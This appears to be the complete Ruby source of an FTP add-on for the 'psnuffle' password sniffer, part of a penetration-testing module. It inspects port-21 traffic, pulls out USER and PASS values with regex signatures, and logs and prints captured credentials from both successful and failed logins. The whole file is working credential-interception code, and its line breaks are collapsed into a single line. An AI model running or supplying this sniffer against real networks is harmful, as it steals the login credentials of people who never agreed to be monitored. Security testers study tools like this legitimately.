# Psnuffle password sniffer add-on class for ftp # part of psnuffle sniffer auxiliary module # # When db is available reports go into db # Also incorrect credentials are sniffed but marked # as unsuccessful logins... (Typos are common :-) ) # class SnifferFTP < BaseProtocolParser def register_sigs self.sigs = { :banner => /^(220\s*[^\r\n]+)/i, :user => /^USER\s+([^\s]+)/i, :pass => /^PASS\s+([^\s]+)/i, :login_pass => /^(230\s*[^\n]+)/i, :login_fail => /^(5\d\d\s*[^\n]+)/i, :bye => /^221/ } end def parse(pkt) # We want to return immediatly if we do not have a packet which is handled by us return unless pkt.is_tcp? return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) s[:sname] ||= "ftp" self.sigs.each_key do |k| # There is only one pattern per run to test matched = nil matches = nil if(pkt.payload =~ self.sigs[k]) matched = k matches = $1 end case matched when :login_fail if(s[:user] and s[:pass]) report_auth_info(s.merge({:active => false})) print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") s[:pass] = "" return end when :login_pass if(s[:user] and s[:pass]) report_auth_info(s) print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") # Remove it form the session objects so freeup memory sessions.delete(s[:session]) return end when :banner # Because some ftp server send multiple banner we take only the first one and ignore the rest if not (s[:info]) s[:info] = matches report_service(s) end when :bye sessions.delete(s[:session]) when nil # No matches, no saved state else sessions[s[:session]].merge!({k => matches}) end # end case matched end # end of each_key end # end of parse end